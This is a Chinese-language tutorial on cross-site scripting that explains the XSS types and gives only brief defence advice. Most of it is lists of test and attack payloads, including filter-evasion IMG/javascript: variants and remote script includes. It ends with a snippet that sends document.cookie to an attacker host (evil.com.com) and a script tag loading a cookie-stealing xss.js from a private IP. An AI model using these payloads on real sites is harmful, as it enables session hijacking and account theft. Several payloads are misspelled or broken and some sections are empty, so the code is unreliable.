xss漏洞基础
1 介绍
全称:跨站脚本攻击
允许恶意web用户将代码植入web网站中,供给其他用户使用,当用户访问其有恶意代码的网页就会产生xss攻击
2 危害
- 盗取各类用户账号,如机器登录账号、用户网银账号、各类管理账号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗取企业重要的具有商业价值的资料
- 非法转帐
- 强制发送电子邮件
- 网站挂马
- 控制受害机器向其他网站攻击
3 防御
总体思路是:对输入(和URL参数)进行过滤,对输出进行编码,使脚本无法在浏览器中执行
4 类型
4.1 反射性xss
非持久化,需要目标用户自己点击连接次才能触发xss代码。
方法:发送邮件等方式,将含有xss恶意链接发送到目标用户,当目标用户访问该链接时,服务器将接受该用户的请求并进行处理,然后发送至目标用户的浏览器,浏览器解析后,会触发xss攻击。
4.2 存储型xss
持久性,将恶意代码存储在服务器中的数据库中,如个人信息或发表文章等地方,如果插入的数据没有过滤,用户访问该页面时就会触发该代码,造成xss攻击
4.3 dom型xss
是一种特殊的反射性xss,基于DOM文档对象模型的一种漏洞
在网站页面中有许多页面的元素,当页面到达浏览器时会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素,也就是说,客户端的脚本程序可以通过DOM来动态修改页面,从客户端获取DOM中的数据并在本地执行。基于这个特性,便可以利用 js 实现 xss漏洞 的利用
以下是一些经常出现的 dom xss 的关键语句1
2
3
4
5document.refer 属性
windows.name 属性
location 属性
innerrHTML 属性
document.write 属性
4.4 其他XSS类型
5.1 测试语句
测试xss网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源码是否过滤标签。如果没有过滤,很大可能存在 xss 漏洞1
2
3
4
5
6常用的测试语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
"><span>x</span><"
'>"><span>x</span><'
5.2 攻击语句
检测确定标签没有过滤后,为了显示存在漏洞,需要插入xss攻击代码1
2
3
4常用的语句
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
5.2.1 普通的xss js注入
1 | <scrript src=http://3.org/XSS/xss.js></script> |
5.2.2 IMG标签 XSS 使用JS命令
1 | <IMG SRC="http://3.org/XSS/xss.js"> |
5.2.3 IMG标签无分号无引号
1 | <IMG SRC=javascript:alert("XSS")> |
5.2.4 IMG标签大小写不敏感
1 | <IMG SRC=JaVAScriPT:akert("XSS")> |
5.2.5 HTML编码
1 |
|
5.2.6 修正缺陷 IMG 标签
1 | <IMG """>><SCRIPT>alert("xss")</SCRIPT>"> |
5.2.7 formCharCode 标签
1 | <IMG SRC=javascrript:alert(STRING.formCharCode(88,83,83))> |
5.2.8 UTF-8的Unicode编码
6 XSS常见利用
xss漏洞可以通过构造恶意的xss语句实现很多功能,最常见的时构造恶意代码获取对方浏览器的cookie1
2
3var img=document.createElement("img");
img.src="http://www.evil.com.com?cookies="+escape(document.cookie);
document.body.appendChild(img);
被登陆者输入<script src="http://192.168.0.121/xss.js"></script>便会传输cookie至功能攻击者服务器
7 加载远程攻击的payload
7.1 常见的标准payload
注意:网站使用的协议是http还是https





